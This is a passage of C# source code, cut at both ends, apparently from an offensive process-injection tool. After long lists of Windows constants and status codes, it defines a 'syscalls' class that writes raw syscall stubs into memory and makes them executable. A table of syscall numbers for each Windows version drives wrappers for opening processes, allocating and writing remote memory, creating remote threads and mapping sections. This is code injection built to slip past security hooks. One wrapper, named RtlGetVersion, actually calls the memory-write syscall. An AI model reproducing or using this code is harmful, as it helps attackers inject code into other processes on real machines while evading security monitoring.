const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; public const UInt32 TOKEN_DUPLICATE = 0x0002; public const UInt32 TOKEN_IMPERSONATE = 0x0004; public const UInt32 TOKEN_QUERY = 0x0008; public const UInt32 TOKEN_QUERY_SOURCE = 0x0010; public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020; public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID); public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY); public const UInt32 SE_PRIVILEGE_ENABLED = 0x2; public const long FILE_GENERIC_READ = STANDARD_RIGHTS_READ | FILE_READ_DATA | FILE_READ_ATTRIBUTES | FILE_READ_EA | SYNCHRONIZE; public const long FILE_GENERIC_WRITE = STANDARD_RIGHTS_WRITE | FILE_WRITE_DATA | FILE_WRITE_ATTRIBUTES | FILE_WRITE_EA | FILE_APPEND_DATA | SYNCHRONIZE; public const long FILE_GENERIC_EXECUTE = STANDARD_RIGHTS_EXECUTE | FILE_READ_ATTRIBUTES | FILE_EXECUTE | SYNCHRONIZE; public const int FILE_SHARE_READ = 0x00000001; public const int FILE_SHARE_WRITE = 0x00000002; public const int FILE_SHARE_DELETE = 0x00000004; public const int FILE_ATTRIBUTE_READONLY = 0x00000001; public const int FILE_ATTRIBUTE_HIDDEN = 0x00000002; public const int FILE_ATTRIBUTE_SYSTEM = 0x00000004; public const int FILE_ATTRIBUTE_DIRECTORY = 0x00000010; public const int FILE_ATTRIBUTE_ARCHIVE = 0x00000020; public const int FILE_ATTRIBUTE_DEVICE = 0x00000040; public const int FILE_ATTRIBUTE_NORMAL = 0x00000080; public const int FILE_ATTRIBUTE_TEMPORARY = 0x00000100; public const int FILE_ATTRIBUTE_SPARSE_FILE = 0x00000200; public const int FILE_ATTRIBUTE_REPARSE_POINT = 0x00000400; public const int FILE_ATTRIBUTE_COMPRESSED = 0x00000800; public const int FILE_ATTRIBUTE_OFFLINE = 0x00001000; public const int FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 0x00002000; public const int FILE_ATTRIBUTE_ENCRYPTED = 0x00004000; public const int FILE_NOTIFY_CHANGE_FILE_NAME = 0x00000001; public const int FILE_NOTIFY_CHANGE_DIR_NAME = 0x00000002; public const int FILE_NOTIFY_CHANGE_ATTRIBUTES = 0x00000004; public const int FILE_NOTIFY_CHANGE_SIZE = 0x00000008; public const int FILE_NOTIFY_CHANGE_LAST_WRITE = 0x00000010; public const int FILE_NOTIFY_CHANGE_LAST_ACCESS = 0x00000020; public const int FILE_NOTIFY_CHANGE_CREATION = 0x00000040; public const int FILE_NOTIFY_CHANGE_SECURITY = 0x00000100; public const int FILE_ACTION_ADDED = 0x00000001; public const int FILE_ACTION_REMOVED = 0x00000002; public const int FILE_ACTION_MODIFIED = 0x00000003; public const int FILE_ACTION_RENAMED_OLD_NAME = 0x00000004; public const int FILE_ACTION_RENAMED_NEW_NAME = 0x00000005; public const int MAILSLOT_NO_MESSAGE = -1; public const int MAILSLOT_WAIT_FOREVER = -1; public const int FILE_CASE_SENSITIVE_SEARCH = 0x00000001; public const int FILE_CASE_PRESERVED_NAMES = 0x00000002; public const int FILE_UNICODE_ON_DISK = 0x00000004; public const int FILE_PERSISTENT_ACLS = 0x00000008; public const int FILE_FILE_COMPRESSION = 0x00000010; public const int FILE_VOLUME_QUOTAS = 0x00000020; public const int FILE_SUPPORTS_SPARSE_FILES = 0x00000040; public const int FILE_SUPPORTS_REPARSE_POINTS = 0x00000080; public const int FILE_SUPPORTS_REMOTE_STORAGE = 0x00000100; public const int FILE_VOLUME_IS_COMPRESSED = 0x00008000; public const int FILE_SUPPORTS_OBJECT_IDS = 0x00010000; public const int FILE_SUPPORTS_ENCRYPTION = 0x00020000; public const int FILE_NAMED_STREAMS = 0x00040000; public const int FILE_READ_ONLY_VOLUME = 0x00080000; public const int CREATE_ALWAYS = 2; [StructLayout(LayoutKind.Sequential, Pack = 4)] public struct NtCreateThreadExBuffer { public int Size; public uint Unknown1; public uint Unknown2; public IntPtr Unknown3; public uint Unknown4; public uint Unknown5; public uint Unknown6; public IntPtr Unknown7; public uint Unknown8; }; [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct OSVERSIONINFOEXW { public int dwOSVersionInfoSize; public int dwMajorVersion; public int dwMinorVersion; public int dwBuildNumber; public int dwPlatformId; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] public string szCSDVersion; public UInt16 wServicePackMajor; public UInt16 wServicePackMinor; public UInt16 wSuiteMask; public byte wProductType; public byte wReserved; } [StructLayout(LayoutKind.Sequential)] public struct LARGE_INTEGER { public UInt32 LowPart; public UInt32 HighPart; } [StructLayout(LayoutKind.Sequential)] public struct SYSTEM_INFO { public uint dwOem; public uint dwPageSize; public IntPtr lpMinAppAddress; public IntPtr lpMaxAppAddress; public IntPtr dwActiveProcMask; public uint dwNumProcs; public uint dwProcType; public uint dwAllocGranularity; public ushort wProcLevel; public ushort wProcRevision; } [Flags] public enum ProcessAccessFlags : uint { All = 0x001F0FFF, Terminate = 0x00000001, CreateThread = 0x00000002, VirtualMemoryOperation = 0x00000008, VirtualMemoryRead = 0x00000010, VirtualMemoryWrite = 0x00000020, DuplicateHandle = 0x00000040, CreateProcess = 0x000000080, SetQuota = 0x00000100, SetInformation = 0x00000200, QueryInformation = 0x00000400, QueryLimitedInformation = 0x00001000, Synchronize = 0x00100000 } public struct CLIENT_ID { public IntPtr UniqueProcess; public IntPtr UniqueThread; } [StructLayout(LayoutKind.Sequential)] public struct OBJECT_ATTRIBUTES { public ulong Length; public IntPtr RootDirectory; public IntPtr ObjectName; public ulong Attributes; public IntPtr SecurityDescriptor; public IntPtr SecurityQualityOfService; } public enum NTSTATUS : uint { // Success Success = 0x00000000, Wait0 = 0x00000000, Wait1 = 0x00000001, Wait2 = 0x00000002, Wait3 = 0x00000003, Wait63 = 0x0000003f, Abandoned = 0x00000080, AbandonedWait0 = 0x00000080, AbandonedWait1 = 0x00000081, AbandonedWait2 = 0x00000082, AbandonedWait3 = 0x00000083, AbandonedWait63 = 0x000000bf, UserApc = 0x000000c0, KernelApc = 0x00000100, Alerted = 0x00000101, Timeout = 0x00000102, Pending = 0x00000103, Reparse = 0x00000104, MoreEntries = 0x00000105, NotAllAssigned = 0x00000106, SomeNotMapped = 0x00000107, OpLockBreakInProgress = 0x00000108, VolumeMounted = 0x00000109, RxActCommitted = 0x0000010a, NotifyCleanup = 0x0000010b, NotifyEnumDir = 0x0000010c, NoQuotasForAccount = 0x0000010d, PrimaryTransportConnectFailed = 0x0000010e, PageFaultTransition = 0x00000110, PageFaultDemandZero = 0x00000111, PageFaultCopyOnWrite = 0x00000112, PageFaultGuardPage = 0x00000113, PageFaultPagingFile = 0x00000114, CrashDump = 0x00000116, ReparseObject = 0x00000118, NothingToTerminate = 0x00000122, ProcessNotInJob = 0x00000123, ProcessInJob = 0x00000124, ProcessCloned = 0x00000129, FileLockedWithOnlyReaders = 0x0000012a, FileLockedWithWriters = 0x0000012b, // Informational Informational = 0x40000000, ObjectNameExists = 0x40000000, ThreadWasSuspended = 0x40000001, WorkingSetLimitRange = 0x40000002, ImageNotAtBase = 0x40000003, RegistryRecovered = 0x40000009, // Warning Warning = 0x80000000, GuardPageViolation = 0x80000001, DatatypeMisalignment = 0x80000002, Breakpoint = 0x80000003, SingleStep = 0x80000004, BufferOverflow = 0x80000005, NoMoreFiles = 0x80000006, HandlesClosed = 0x8000000a, PartialCopy = 0x8000000d, DeviceBusy = 0x80000011, InvalidEaName = 0x80000013, EaListInconsistent = 0x80000014, NoMoreEntries = 0x8000001a, LongJump = 0x80000026, DllMightBeInsecure = 0x8000002b, // Error Error = 0xc0000000, Unsuccessful = 0xc0000001, NotImplemented = 0xc0000002, InvalidInfoClass = 0xc0000003, InfoLengthMismatch = 0xc0000004, AccessViolation = 0xc0000005, InPageError = 0xc0000006, PagefileQuota = 0xc0000007, InvalidHandle = 0xc0000008, BadInitialStack = 0xc0000009, BadInitialPc = 0xc000000a, InvalidCid = 0xc000000b, TimerNotCanceled = 0xc000000c, InvalidParameter = 0xc000000d, NoSuchDevice = 0xc000000e, NoSuchFile = 0xc000000f, InvalidDeviceRequest = 0xc0000010, EndOfFile = 0xc0000011, WrongVolume = 0xc0000012, NoMediaInDevice = 0xc0000013, NoMemory = 0xc0000017, ConflictingAddresses = 0xc0000018, NotMappedView = 0xc0000019, UnableToFreeVm = 0xc000001a, UnableToDeleteSection = 0xc000001b, IllegalInstruction = 0xc000001d, AlreadyCommitted = 0xc0000021, AccessDenied = 0xc0000022, BufferTooSmall = 0xc0000023, ObjectTypeMismatch = 0xc0000024, NonContinuableException = 0xc0000025, BadStack = 0xc0000028, NotLocked = 0xc000002a, NotCommitted = 0xc000002d, InvalidParameterMix = 0xc0000030, ObjectNameInvalid = 0xc0000033, ObjectNameNotFound = 0xc0000034, ObjectNameCollision = 0xc0000035, ObjectPathInvalid = 0xc0000039, ObjectPathNotFound = 0xc000003a, ObjectPathSyntaxBad = 0xc000003b, DataOverrun = 0xc000003c, DataLate = 0xc000003d, DataError = 0xc000003e, CrcError = 0xc000003f, SectionTooBig = 0xc0000040, PortConnectionRefused = 0xc0000041, InvalidPortHandle = 0xc0000042, SharingViolation = 0xc0000043, QuotaExceeded = 0xc0000044, InvalidPageProtection = 0xc0000045, MutantNotOwned = 0xc0000046, SemaphoreLimitExceeded = 0xc0000047, PortAlreadySet = 0xc0000048, SectionNotImage = 0xc0000049, SuspendCountExceeded = 0xc000004a, ThreadIsTerminating = 0xc000004b, BadWorkingSetLimit = 0xc000004c, IncompatibleFileMap = 0xc000004d, SectionProtection = 0xc000004e, EasNotSupported = 0xc000004f, EaTooLarge = 0xc0000050, NonExistentEaEntry = 0xc0000051, NoEasOnFile = 0xc0000052, EaCorruptError = 0xc0000053, FileLockConflict = 0xc0000054, LockNotGranted = 0xc0000055, DeletePending = 0xc0000056, CtlFileNotSupported = 0xc0000057, UnknownRevision = 0xc0000058, RevisionMismatch = 0xc0000059, InvalidOwner = 0xc000005a, InvalidPrimaryGroup = 0xc000005b, NoImpersonationToken = 0xc000005c, CantDisableMandatory = 0xc000005d, NoLogonServers = 0xc000005e, NoSuchLogonSession = 0xc000005f, NoSuchPrivilege = 0xc0000060, PrivilegeNotHeld = 0xc0000061, InvalidAccountName = 0xc0000062, UserExists = 0xc0000063, NoSuchUser = 0xc0000064, GroupExists = 0xc0000065, NoSuchGroup = 0xc0000066, MemberInGroup = 0xc0000067, MemberNotInGroup = 0xc0000068, LastAdmin = 0xc0000069, WrongPassword = 0xc000006a, IllFormedPassword = 0xc000006b, PasswordRestriction = 0xc000006c, LogonFailure = 0xc000006d, AccountRestriction = 0xc000006e, InvalidLogonHours = 0xc000006f, InvalidWorkstation = 0xc0000070, PasswordExpired = 0xc0000071, AccountDisabled = 0xc0000072, NoneMapped = 0xc0000073, TooManyLuidsRequested = 0xc0000074, LuidsExhausted = 0xc0000075, InvalidSubAuthority = 0xc0000076, InvalidAcl = 0xc0000077, InvalidSid = 0xc0000078, InvalidSecurityDescr = 0xc0000079, ProcedureNotFound = 0xc000007a, InvalidImageFormat = 0xc000007b, NoToken = 0xc000007c, BadInheritanceAcl = 0xc000007d, RangeNotLocked = 0xc000007e, DiskFull = 0xc000007f, ServerDisabled = 0xc0000080, ServerNotDisabled = 0xc0000081, TooManyGuidsRequested = 0xc0000082, GuidsExhausted = 0xc0000083, InvalidIdAuthority = 0xc0000084, AgentsExhausted = 0xc0000085, InvalidVolumeLabel = 0xc0000086, SectionNotExtended = 0xc0000087, NotMappedData = 0xc0000088, ResourceDataNotFound = 0xc0000089, ResourceTypeNotFound = 0xc000008a, ResourceNameNotFound = 0xc000008b, ArrayBoundsExceeded = 0xc000008c, FloatDenormalOperand = 0xc000008d, FloatDivideByZero = 0xc000008e, FloatInexactResult = 0xc000008f, FloatInvalidOperation = 0xc0000090, FloatOverflow = 0xc0000091, FloatStackCheck = 0xc0000092, FloatUnderflow = 0xc0000093, IntegerDivideByZero = 0xc0000094, IntegerOverflow = 0xc0000095, PrivilegedInstruction = 0xc0000096, TooManyPagingFiles = 0xc0000097, FileInvalid = 0xc0000098, InstanceNotAvailable = 0xc00000ab, PipeNotAvailable = 0xc00000ac, InvalidPipeState = 0xc00000ad, PipeBusy = 0xc00000ae, IllegalFunction = 0xc00000af, PipeDisconnected = 0xc00000b0, PipeClosing = 0xc00000b1, PipeConnected = 0xc00000b2, PipeListening = 0xc00000b3, InvalidReadMode = 0xc00000b4, IoTimeout = 0xc00000b5, FileForcedClosed = 0xc00000b6, ProfilingNotStarted = 0xc00000b7, ProfilingNotStopped = 0xc00000b8, NotSameDevice = 0xc00000d4, FileRenamed = 0xc00000d5, CantWait = 0xc00000d8, PipeEmpty = 0xc00000d9, CantTerminateSelf = 0xc00000db, InternalError = 0xc00000e5, InvalidParameter1 = 0xc00000ef, InvalidParameter2 = 0xc00000f0, InvalidParameter3 = 0xc00000f1, InvalidParameter4 = 0xc00000f2, InvalidParameter5 = 0xc00000f3, InvalidParameter6 = 0xc00000f4, InvalidParameter7 = 0xc00000f5, InvalidParameter8 = 0xc00000f6, InvalidParameter9 = 0xc00000f7, InvalidParameter10 = 0xc00000f8, InvalidParameter11 = 0xc00000f9, InvalidParameter12 = 0xc00000fa, MappedFileSizeZero = 0xc000011e, TooManyOpenedFiles = 0xc000011f, Cancelled = 0xc0000120, CannotDelete = 0xc0000121, InvalidComputerName = 0xc0000122, FileDeleted = 0xc0000123, SpecialAccount = 0xc0000124, SpecialGroup = 0xc0000125, SpecialUser = 0xc0000126, MembersPrimaryGroup = 0xc0000127, FileClosed = 0xc0000128, TooManyThreads = 0xc0000129, ThreadNotInProcess = 0xc000012a, TokenAlreadyInUse = 0xc000012b, PagefileQuotaExceeded = 0xc000012c, CommitmentLimit = 0xc000012d, InvalidImageLeFormat = 0xc000012e, InvalidImageNotMz = 0xc000012f, InvalidImageProtect = 0xc0000130, InvalidImageWin16 = 0xc0000131, LogonServer = 0xc0000132, DifferenceAtDc = 0xc0000133, SynchronizationRequired = 0xc0000134, DllNotFound = 0xc0000135, IoPrivilegeFailed = 0xc0000137, OrdinalNotFound = 0xc0000138, EntryPointNotFound = 0xc0000139, ControlCExit = 0xc000013a, PortNotSet = 0xc0000353, DebuggerInactive = 0xc0000354, CallbackBypass = 0xc0000503, PortClosed = 0xc0000700, MessageLost = 0xc0000701, InvalidMessage = 0xc0000702, RequestCanceled = 0xc0000703, RecursiveDispatch = 0xc0000704, LpcReceiveBufferExpected = 0xc0000705, LpcInvalidConnectionUsage = 0xc0000706, LpcRequestsNotAllowed = 0xc0000707, ResourceInUse = 0xc0000708, ProcessIsProtected = 0xc0000712, VolumeDirty = 0xc0000806, FileCheckedOut = 0xc0000901, CheckOutRequired = 0xc0000902, BadFileType = 0xc0000903, FileTooLarge = 0xc0000904, FormsAuthRequired = 0xc0000905, VirusInfected = 0xc0000906, VirusDeleted = 0xc0000907, TransactionalConflict = 0xc0190001, InvalidTransaction = 0xc0190002, TransactionNotActive = 0xc0190003, TmInitializationFailed = 0xc0190004, RmNotActive = 0xc0190005, RmMetadataCorrupt = 0xc0190006, TransactionNotJoined = 0xc0190007, DirectoryNotRm = 0xc0190008, CouldNotResizeLog = 0xc0190009, TransactionsUnsupportedRemote = 0xc019000a, LogResizeInvalidSize = 0xc019000b, RemoteFileVersionMismatch = 0xc019000c, CrmProtocolAlreadyExists = 0xc019000f, TransactionPropagationFailed = 0xc0190010, CrmProtocolNotFound = 0xc0190011, TransactionSuperiorExists = 0xc0190012, TransactionRequestNotValid = 0xc0190013, TransactionNotRequested = 0xc0190014, TransactionAlreadyAborted = 0xc0190015, TransactionAlreadyCommitted = 0xc0190016, TransactionInvalidMarshallBuffer = 0xc0190017, CurrentTransactionNotValid = 0xc0190018, LogGrowthFailed = 0xc0190019, ObjectNoLongerExists = 0xc0190021, StreamMiniversionNotFound = 0xc0190022, StreamMiniversionNotValid = 0xc0190023, MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024, CantOpenMiniversionWithModifyIntent = 0xc0190025, CantCreateMoreStreamMiniversions = 0xc0190026, HandleNoLongerValid = 0xc0190028, NoTxfMetadata = 0xc0190029, LogCorruptionDetected = 0xc0190030, CantRecoverWithHandleOpen = 0xc0190031, RmDisconnected = 0xc0190032, EnlistmentNotSuperior = 0xc0190033, RecoveryNotNeeded = 0xc0190034, RmAlreadyStarted = 0xc0190035, FileIdentityNotPersistent = 0xc0190036, CantBreakTransactionalDependency = 0xc0190037, CantCrossRmBoundary = 0xc0190038, TxfDirNotEmpty = 0xc0190039, IndoubtTransactionsExist = 0xc019003a, TmVolatile = 0xc019003b, RollbackTimerExpired = 0xc019003c, TxfAttributeCorrupt = 0xc019003d, EfsNotAllowedInTransaction = 0xc019003e, TransactionalOpenNotAllowed = 0xc019003f, TransactedMappingUnsupportedRemote = 0xc0190040, TxfMetadataAlreadyPresent = 0xc0190041, TransactionScopeCallbacksNotSet = 0xc0190042, TransactionRequiredPromotion = 0xc0190043, CannotExecuteFileInTransaction = 0xc0190044, TransactionsNotFrozen = 0xc0190045, MaximumNtStatus = 0xffffffff } [DllImport(""kernel32.dll"")] public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport(""Kernel32.dll"", CallingConvention = CallingConvention.StdCall)] public static extern void GetSystemInfo(ref nativeStructs.SYSTEM_INFO lpSysInfo); [DllImport(""ntdll.dll"", SetLastError = true)] public static extern bool RtlGetVersion(ref OSVERSIONINFOEXW versionInfo); } class syscalls { public static byte[] syscallSkeleton = { 0x49, 0x89, 0xCA, 0xB8, 0xFF, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; public static Dictionary<string, Dictionary<string, byte>> sysDic = new Dictionary<string, Dictionary<string, byte>>() { { ""win10-1507"", new Dictionary<string, byte>() { { ""openprocess"",0x26}, { ""allocatevirtualmem"", 0x18}, { ""writevirtualmem"", 0x3A}, { ""createremthread"", 0xB3}, { ""createsection"", 0x4A }, { ""mapviewofsec"", 0x28 } } }, { ""win10-1511"", new Dictionary<string, byte>() { { ""openprocess"",0x26}, { ""allocatevirtualmem"", 0x18}, { ""writevirtualmem"", 0x3A}, { ""createremthread"", 0xB4}, { ""mapviewofsec"", 0x28 } } }, { ""win10-1607"", new Dictionary<string, byte>() { { ""openprocess"",0x26}, { ""allocatevirtualmem"", 0x18}, { ""writevirtualmem"", 0x3A}, { ""createremthread"", 0xB6}, { ""createsection"", 0x4A }, { ""mapviewofsec"", 0x28 } } }, { ""win10-1703"", new Dictionary<string, byte>() { { ""openprocess"",0x26}, { ""allocatevirtualmem"", 0x18}, { ""writevirtualmem"", 0x3A}, { ""createremthread"", 0xB9}, { ""createsection"", 0x4A }, { ""mapviewofsec"", 0x28 } } }, { ""win10-1709"", new Dictionary<string, byte>() { { ""openprocess"",0x26}, { ""allocatevirtualmem"", 0x18}, { ""writevirtualmem"", 0x3A}, { ""createremthread"", 0xBA}, { ""createsection"", 0x4A }, { ""mapviewofsec"", 0x28 } } }, { ""win10-1803"", new Dictionary<string, byte>() { { ""openprocess"",0x26}, { ""allocatevirtualmem"", 0x18}, { ""writevirtualmem"", 0x3A}, { ""createremthread"", 0xBB}, { ""createsection"", 0x4A }, { ""mapviewofsec"", 0x28 } } }, { ""win10-1809"", new Dictionary<string, byte>() { { ""openprocess"",0x26}, { ""allocatevirtualmem"", 0x18}, { ""writevirtualmem"", 0x3A}, { ""createremthread"", 0xBC}, { ""createsection"", 0x4A }, { ""mapviewofsec"", 0x28 } } }, { ""win10-1903-9"", new Dictionary<string, byte>() { { ""openprocess"",0x26}, { ""allocatevirtualmem"", 0x18}, { ""writevirtualmem"", 0x3A}, { ""createremthread"", 0xBD}, { ""createsection"", 0x4A }, { ""mapviewofsec"", 0x28 } } }, { ""win8-12"", new Dictionary<string, byte>() { { ""openprocess"",0x24}, { ""allocatevirtualmem"", 0x16}, { ""writevirtualmem"", 0x38}, { ""createremthread"", 0xAF}, { ""createsection"", 0x48 }, { ""mapviewofsec"", 0x26 } } }, { ""win8.1-12r2"", new Dictionary<string, byte>() { { ""openprocess"",0x25}, { ""allocatevirtualmem"", 0x17}, { ""writevirtualmem"", 0x39}, { ""createremthread"", 0xB0}, { ""createsection"", 0x49 }, { ""mapviewofsec"", 0x27 } } }, { ""w7-08"", new Dictionary<string, byte>() { { ""openprocess"",0x23}, { ""allocatevirtualmem"", 0x15}, { ""writevirtualmem"", 0x37}, { ""createremthread"", 0xA5}, { ""createsection"", 0x47 }, { ""mapviewofsec"", 0x25 } } } }; public static nativeStructs.NTSTATUS ZwOpenProcess(ref IntPtr hProcess, nativeStructs.ProcessAccessFlags processAccess, nativeStructs.OBJECT_ATTRIBUTES objAttribute, ref nativeStructs.CLIENT_ID clientid, string os) { byte[] syscall = syscallSkeleton; syscall[4] = sysDic[os][""openprocess""]; unsafe { fixed (byte* ptr = syscall) { IntPtr memoryAddress = (IntPtr)ptr; uint oldprotect; if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, 0x40, out oldprotect)) { throw new Win32Exception(); } Delegates.ZwOpenProcess myAssemblyFunction = (Delegates.ZwOpenProcess)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwOpenProcess)); return (nativeStructs.NTSTATUS)myAssemblyFunction(out hProcess, processAccess, objAttribute, ref clientid); } } } public static nativeStructs.NTSTATUS NtCreateThreadEx(out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr lpStartAddress, IntPtr lpParameter, int createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr lpBytesBuffer, string os) { byte[] syscall = syscallSkeleton; syscall[4] = sysDic[os][""createremthread""]; unsafe { fixed (byte* ptr = syscall) { IntPtr memoryAddress = (IntPtr)ptr; uint oldprotect; if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, 0x40, out oldprotect)) { throw new Win32Exception(); } //// //// Delegates.NtCreateThreadEx myAssemblyFunction = (Delegates.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateThreadEx)); return (nativeStructs.NTSTATUS)myAssemblyFunction(out threadHandle, desiredAccess, objectAttributes, processHandle, lpStartAddress, lpParameter, createSuspended, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, lpBytesBuffer); } } } public static nativeStructs.NTSTATUS ZwWriteVirtualMemory(IntPtr hProcess, ref IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten, string os) { byte[] syscall = syscallSkeleton; syscall[4] = sysDic[os][""writevirtualmem""]; unsafe { fixed (byte* ptr = syscall) { IntPtr memoryAddress = (IntPtr)ptr; uint oldprotect; if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, 0x40, out oldprotect)) { throw new Win32Exception(); } Delegates.ZwWriteVirtualMemory myAssemblyFunction = (Delegates.ZwWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwWriteVirtualMemory)); return (nativeStructs.NTSTATUS)myAssemblyFunction(hProcess, lpBaseAddress, lpBuffer, nSize, ref lpNumberOfBytesWritten); } } } public static nativeStructs.NTSTATUS NtAllocateVirtualMemory(IntPtr hProcess, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect, string os) { byte[] syscall = syscallSkeleton; syscall[4] = sysDic[os][""allocatevirtualmem""]; unsafe { fixed (byte* ptr = syscall) { IntPtr memoryAddress = (IntPtr)ptr; uint oldprotect; if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, 0x40, out oldprotect)) { throw new Win32Exception(); } Delegates.NtAllocateVirtualMemory myAssemblyFunction = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtAllocateVirtualMemory)); return (nativeStructs.NTSTATUS)myAssemblyFunction(hProcess, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect); } } } public static nativeStructs.NTSTATUS NtCreateSection(ref IntPtr section, uint desiredAccess, IntPtr pAttrs, ref nativeStructs.LARGE_INTEGER pMaxSize, uint pageProt, uint allocationAttribs, IntPtr hFile, string os) { byte[] syscall = syscallSkeleton; syscall[4] = sysDic[os][""createsection""]; unsafe { fixed (byte* ptr = syscall) { IntPtr memoryAddress = (IntPtr)ptr; uint oldprotect; if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, 0x40, out oldprotect)) { throw new Win32Exception(); } Delegates.NtCreateSection myAssemblyFunction = (Delegates.NtCreateSection)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateSection)); return (nativeStructs.NTSTATUS)myAssemblyFunction(ref section, desiredAccess, pAttrs, ref pMaxSize, pageProt, allocationAttribs, hFile); } } } public static nativeStructs.NTSTATUS NtMapViewOfSection(IntPtr section, IntPtr process, ref IntPtr baseAddr, IntPtr zeroBits, IntPtr commitSize, IntPtr stuff, ref IntPtr viewSize, int inheritDispo, uint alloctype, uint prot, string os) { byte[] syscall = syscallSkeleton; syscall[4] = sysDic[os][""mapviewofsec""]; unsafe { fixed (byte* ptr = syscall) { IntPtr memoryAddress = (IntPtr)ptr; uint oldprotect; if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, 0x40, out oldprotect)) { throw new Win32Exception(); } Delegates.NtMapViewOfSection myAssemblyFunction = (Delegates.NtMapViewOfSection)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtMapViewOfSection)); return (nativeStructs.NTSTATUS)myAssemblyFunction(section, process, ref baseAddr, zeroBits, commitSize, stuff, ref viewSize, inheritDispo, alloctype, prot); } } } public static nativeStructs.NTSTATUS RtlGetVersion(IntPtr hProcess, ref IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten, string os) { byte[] syscall = syscallSkeleton; syscall[4] = sysDic[os][""writevirtualmem""]; unsafe { fixed (byte* ptr = syscall) { IntPtr memoryAddress = (IntPtr)ptr; uint oldprotect; if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, 0x40, out oldprotect)) { throw new Win32Exception(); } Delegates.ZwWriteVirtualMemory myAssemblyFunction = (Delegates.ZwWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwWriteVirtualMemory)); return (nativeStructs.NTSTATUS)myAssemblyFunction(hProcess, lpBaseAddress, lpBuffer, nSize, ref lpNumberOfBytesWritten); } } } public struct Delegates { [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate int ZwOpenProcess(out IntPtr hProcess, nativeStructs.ProcessAccessFlags processAccess, nativeStructs.OBJECT_ATTRIBUTES objAttribute, ref nativeStructs.CLIENT_ID clientid); [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate int ZwWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten); [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate int NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect); [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate int NtCreateThreadEx(out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr lpStartAddress, IntPtr lpParameter, int createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr lpBytesBuffer); [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate bool RtlGetVersion(ref nativeStructs.OSVERSIONINFOEXW lpVersionInformation); [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate int NtCreateSection(ref IntPtr section, uint desiredAccess, IntPtr pAttrs, ref nativeStructs.LARGE_INTEGER pMaxSize, uint pageProt, uint allocationAttribs, IntPtr hFile); [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate int NtMapViewOfSection(IntPtr section, 